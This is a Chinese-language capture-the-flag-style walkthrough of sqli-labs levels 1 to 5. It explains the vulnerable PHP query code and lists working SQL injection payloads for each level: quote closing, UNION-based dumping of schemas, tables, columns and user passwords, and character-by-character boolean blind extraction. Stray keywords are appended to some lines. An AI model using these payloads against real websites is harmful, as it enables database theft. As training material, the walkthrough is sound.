首先咱們打開本關,能夠看到url裏面 缺乏了id參數。php
因此咱們須要手動給這個頁面加上id參數。mysql
添加上了id參數後,咱們進行sql注入所須要的條件以及齊全了。sql
由於此次闖關咱們是以白盒角度進行的,因此咱們不進行嘗試,直接查看源碼,源碼很長,我就不所有放出來了,撿最主要的,跟你們分析一下。數據庫
首先,咱們看第一個須要關注的代碼。數組
$id=$_GET['id'];
這行代碼的意思,就是網頁經過get請求方式,獲取到id的參數值,這也就表明了咱們能夠直接在地址欄裏面進行咱們sql注入的相關操做。less
第二個要關注的代碼以下。函數
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
這行代碼是網頁從數據庫中查找數據,也是sql注入的關鍵位置。簡單來講,這行代碼的一絲就是,咱們要從 user這個表裏面,查詢全部id等於咱們輸入id的內容,而後只取一條反饋到頁面上。測試
第三個要關注的代碼以下。fetch
$result=mysql_query($sql);
這一行的代碼很短,可是倒是比較關鍵的一步,首先說一下mysql_query這個函數。簡單點來講,這個函數能夠幫咱們執行sql語句,而且返回一個結果,可是這個結果只是一個資源標識符,若是直接返回給咱們,是沒法讓用戶看到本身但願看到的內容。因此,就有了咱們第四個須要關注的代碼。網站
第四個要關注的代碼以下。
$row = mysql_fetch_array($result);
這行代碼,簡單點來講,是mysql_fetch_array這個函數,它的做用是返回根據結果集取得的行生成的數組,也就是說,mysql_query這個函數在執行過sql命令以後,是會帶回來結果的,可是返回的只是資源標識符,而這個函數,可以從返回的結果裏面,取出來咱們但願看到的內容。
第五個要關注的代碼以下。
print_r(mysql_error());
print_r函數,是php裏面的輸出函數。咱們第一個程序的hello word就是依靠這個函數輸出的。咱們須要關注的,是mysql_error這個函數,這個函數就是若是sql語句出錯,就經過這個函數返回錯誤。這兩個函數集合在一塊兒,就是報錯注入的關鍵。
或者說,是咱們判斷這裏是否有報錯注入的關鍵。
由於若是一個地方有注入,可是咱們經過測試後,頁面並無返回數據庫語句錯誤,咱們是沒法判斷這個地方存在報錯注入的。
第一關的源碼很長,可是我認爲須要關注的點就這麼些。
mysql_query(),mysql_fetch_array()這兩個函數完成了網頁從數據庫查詢的功能。
mysql_error()這個函數,知足了報錯注入所須要的條件。
代碼看完以後,咱們就只須要把視線聚焦在一條代碼上面。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
咱們清楚SQL注入攻擊的原理:惡意用戶在提交查詢請求的過程當中將SQL語句插入到請求內容中,同時程序自己對用戶輸入內容過度信任而未對惡意用戶插入的SQL語句進行過濾,致使SQL語句直接被服務端執行。
因此,咱們須要完成sql注入攻擊,就須要閉合掉本來的sql語句,而後在後面拼接咱們但願執行的sql語句。
簡單分析一下這個代碼,咱們輸入的內容,會被傳輸到$id這個參數裏面,因此咱們須要關注的點在id='$id' 這裏。因此,若是咱們但願這行代碼閉合,那麼咱們就須要利用單引號。
簡單來講,若是咱們輸入的內容是1,那麼 id='$id' 就會變成 id='1',而若是咱們輸入的內容是1',那麼id='$id'就會變成 id='1'',整合到語句裏面,就是以下的代碼。
$sql="SELECT * FROM users WHERE id='1'' LIMIT 0,1";
能夠看到,代碼裏面多了一個單引號,而這,就會引發語句的出錯。
因此,爲了保證網頁還能夠正常進行,咱們須要將後面的單引號註釋掉。也就是利用「 -- 」,這裏注意,兩個橫槓先後,都要加上空格,否則會註釋不掉後方代碼。因此在加上以後,代碼會變成以下這樣。
$sql="SELECT * FROM users WHERE id='1' -- ' LIMIT 0,1";
這裏,由於這關是有顯示位置的,因此咱們須要知道有幾個位置是咱們可用的,這裏就須要用到order by。
pyload以下:
1' order by 1 --
這裏,咱們須要調整 by 後面的數字,逐步增大,直到網頁報錯爲止,若是網頁報錯,咱們就知道,上一個數字,是最大的。
這裏,我測試過了,最大數字爲3,由於很繁瑣,就不一步一步測試了。
測試出了最大數字以後,咱們就知道了網站的顯示位置。
這裏,咱們能夠利用聯合查詢。payload以下:
1' and 1=2 union select 1,2,3 --
能夠看到,網頁上本來顯示username和password的地方如今變成了2和3。
這裏要注意的是,本來在id 後面跟着的等式 1=1 變成了 1=2 。這裏,就跟union 這個語句有關了。這是sql注入裏面很經常使用的東西,用法是將先後兩個sql語句結合起來,可是,若是第一條成立,那麼在顯示位置有限的狀況下,後面的查詢雖然也正常執行了,可是卻不會在網頁上反饋,若是咱們但願在屏幕上直接看到返回結果,就須要讓前方的語句錯誤。
而後,在獲得了顯示位置的以後,咱們就能夠將2和3替換掉,來構造語句,讓網頁返回咱們但願看到的內容。
pyload 以下:
1' and 1=2 union select 1,version(),database() --
version()這個函數是返回當前數據庫版本信息,database()這個函數是返回當前數據庫名。
接下來,是sql顯注的經常使用命令。
1' and 1=2 union select 1,(select schema_name from information_schema.schemata),3 --
這一條命令,是報數據庫名的,可是,直接在地址欄輸入這個內容,網站會報錯。
這裏是由於schema_name 的內容是不少行,可是這裏只有一行的顯示位置,因此咱們須要經過 group_concat這個函數來將全部的數據整合到一行輸出。
最後完整的爆數據庫名稱的payload以下。
1' and 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --
在得知了所有數據庫以後,咱們就能夠從中選擇本身想要查詢的數據庫,爆表名。
payload以下:
1' and 1=2 union select 1,(select table_name from information_schema.tables where table_schema='security'),3 --
獲得了表名以後,爲了獲得裏面的數據,咱們還須要知道字段名。
payload以下:
1' and 1=2 union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --
在得知了字段名以後,爆數據的操做就比較簡單了。
payload以下:
1' and 1=2 union select 1,(select group_concat(username) from security.users),(select group_concat(password) from security.users) --
到這裏,sql手注的基本命令就已經結束了,sqli-libs的第一關,通關。
第二關,咱們一樣先在url中增長id參數。
由於咱們此次是白盒測試,廢話很少,直接看代碼。
由於關鍵的幾個函數第一關已經講過,因此這裏咱們就直接看關鍵的地方。
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
這裏,咱們能夠看到 這條代碼裏面的 id=$id ,$id 外面並無任何的包裹,因此,這裏咱們不須要作閉合,直接將咱們想要構造的參數直接輸入在網址裏面就能夠了。
這裏,咱們只須要按照上一關如出一轍的步驟就能夠完成注入。
第二關,通關。
第三關,先在url中加入id 參數。
直接看代碼。
這裏,咱們關注下面的代碼。
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
這裏能夠看到,id=('$id'),也就是說,咱們在url中的id=1如何結合到代碼裏面,那麼代碼就會變成。
$sql="SELECT * FROM users WHERE id=('1') LIMIT 0,1";
因此,若是咱們想要在閉合代碼,而且在後方拼接代碼,就須要先閉合前方的單引號和括號。
綜上所述,這一關咱們想要完成注入,須要構造的payload以下:
1') and 1=2 union select 1,2,3 --
ps:第二關沒有加註釋的緣由是,第二關咱們其實沒有閉合掉任何東西,因此哪怕咱們在後面拼接sql語句,也不會有多出來的部分致使代碼出錯,因此,並不須要註釋掉後面的部分。
第三關,通關。
第四關,在url裏面增長id參數。
不說廢話,直接看代碼。
這裏,咱們須要關注兩行代碼。首先,仍是咱們前幾關關注的位置,第一行代碼以下:
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
這裏,咱們能夠看到代碼裏面 id = ($id) ,可是,若是咱們直接使用單括號閉合,是沒法完成目的的。
上圖咱們能夠看到,咱們用單括號閉合了參數,而且在後面構造了語句 'and 1=2' 正常的語句,是不會返回任何結果的,可是如今他返回了,因此咱們的輸入沒有被執行,也就是說咱們構成的語句出問題了。
這裏,就須要關注第二行代碼。
$id = '"' . $id . '"';
這裏,可能看着代碼很難理解,可是其實點在php代碼種起的是拼接做用,而單引號,只是將他包裹的內容定義爲字符串。
因此,這一行若是簡單點來看的話,實際上是這樣的 $id = "$id",這一行就是在咱們輸入的參數外面包裹了一個單引號,單分出來一行是由於直接這麼寫會由於原始代碼裏面也存在雙引號,會致使代碼出錯。
因此咱們這一關想要構造閉合,要使用 ") 而不是 )。
完成payload以下:
1") and 1=2 union select 1,2,3 --
第四關,通關。
第五關,先給url裏面增長id參數。
雖然這個頁面跟前面幾個有區別,這個暫且不提,先看代碼。
這一關,簡單點來講的話,仍是隻須要看一行代碼。
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
因此,咱們只須要利用單引號閉合,而後在後面構造本身但願執行的sql語句就能夠了。可是,從下方的輸入內容,咱們能夠看到,這一關,咱們但願看到的內容並不會在頁面上獲得反饋了,這就是布爾型盲注。
下面是盲注的一些經常使用命令。
1' order by 3 --
測試當前數據庫名稱字符長度。
1' and length(database())>1 --
ps: 這裏挨個增長後面的數字太麻煩,咱們能夠經過取中間值的方法來縮短測試次數。好比先測試大於1,再測試大於10,若是第一次成功,第二次失敗,就證實字符長度在1和10之間,下一個就能夠測試是否大於5。
這兩行代碼能夠看出來,當前數據庫的字符串長度爲8,知道這個以後,咱們就能夠挨個測試每一個字母是什麼。
測試第一個字母是什麼。
1' and substr(database(),1,1)='s' --
測試第二個字母是什麼。
1' and substr(database(),2,1)='e' --
這裏由於咱們清楚當前數據庫爲 security,因此就不一個一個測試了。
這裏,若是想猜別的數據庫名,能夠經過下面這個代碼來完成。
猜第一個數據庫的第一個字母。
1' and substr((select schema_name from information_schema.schemata limit 0,1),1,1)='i' --
猜第一個數據庫的第二個字母。
1' and substr((select schema_name from information_schema.schemata limit 0,1),2,1)='n' --
猜第二個數據庫的第一個字母。
1' and substr((select schema_name from information_schema.schemata limit 1,1),1,1)='c' --
猜第二個數據庫的第二個字母。
1' and substr((select schema_name from information_schema.schemata limit 1,1),2,1)='h' --
固然,咱們還能經過下面代碼來獲知,到底有幾個數據庫。
payload以下:
1' and 1=((select count(*) from information_scheama.schemata)=6) --
利用這行代碼,咱們能夠知道總共有多少數據庫。
同理,在咱們爆表名以前,也能夠先查看一下指定數據庫中有幾個表。
payload以下:
1' and 1=((select count(*) from information_schema.tables where table_schema='security')=4) --
猜指定數據庫的第一個表名的長度。
1' and length((select table_name from information_schema.tables where table_schema='security' limit 0,1))>1 --
測試出了第一個 表名的長度以後,咱們就須要猜第一個字母是什麼。
代碼以下:
1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='a' --
猜第二個表的長度。
1' and length((select table_name from information_schema.tables where table_schema='security' limit 1,1))>1 --
猜第二個表的第一個字母。
1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),1,1)='r' --
猜第二個表的第二個字母。
1' and substr((select table_name from information_schema.tables where table_schema='security' limit 1,1),2,1)='e' --
猜出來代表以後,就須要爆字段名了,咱們一樣能夠利用代碼來查看這個表中有幾個字段。
payload以下:
1' and 1=((select count(*) from information_schema.columns where table_name='users')=6) --
爆指定表的第一個字段長度。
1' and length((select column_name from information_schema.columns where table_name='users' limit 0,1))>1 --
猜第一個字段的第一個字母。
1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)='U' --
猜第一個字段的第二個字母。
1' and substr((select column_name from information_schema.columns where table_name='users' limit 0,1),2,1)='S' --
猜第二個字段的第一個字母。
1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),1,1)='C' --
猜第二個字段的第二個字母。
1' and substr((select column_name from information_schema.columns where table_name='users' limit 1,1),2,1)='U' --
在得知了字段以後,咱們就須要爆數據了。
爆數據的時候,咱們仍是須要先使用代碼查看這個表格中到底有多少條數據。
payload以下:
1' and 1=((select count(*) from security.users)=13) --
ps:這裏有個頗有意思的點,由於users表裏面有六個字段,可是咱們爆數據數量的時候,爆出來表中有十三條數據,是指有十三條數據,每一個字段裏面都有十三條,而並不是全部字段裏面的數據加起來只有十三條,這個能夠留意一下。
爆指定字段的第一條數據的第一個字母。
1' and substr((select username from security.users limit 0,1),1,1)='D' --
爆指定字段的第一條數據的第二個字母。
1' and substr((select username from security.users limit 0,1),2,1)='u' --
爆指定字段的第二條數據的第一個字母。
1' and substr((select username from security.users limit 1,1),1,1)='A' --
爆指定字段的第二條數據的第二個字母。
1' and substr((select username from security.users limit 1,1),2,1)='n' --
上面,就是盲注的簡單手法,但也是一個比較複雜的手法。
能夠看到,在咱們真正爆數據的時候,limit後面跟着的兩個數,第一個數表明從第幾個開始取,第二個表明此次取幾個,經過修改這兩個數據,咱們能夠作到取指定數據。括號外面的兩個數,第一個表明了從第幾個開始取,第二個表明取幾個,經過這兩個數據,咱們能夠作到取指定數據的第幾個字母。
固然,若是咱們從開始就猜想到可能存在這個數據庫的話,咱們能夠直接將外面的數值修改,而後直接猜表名,而並不是一個一個猜。
這裏,咱們用最後一步,取指定字段的第一條數據。
payload以下:
1' and substr((select username from security.users limit 0,1),1,4)='Dumb' --
第五關,通關。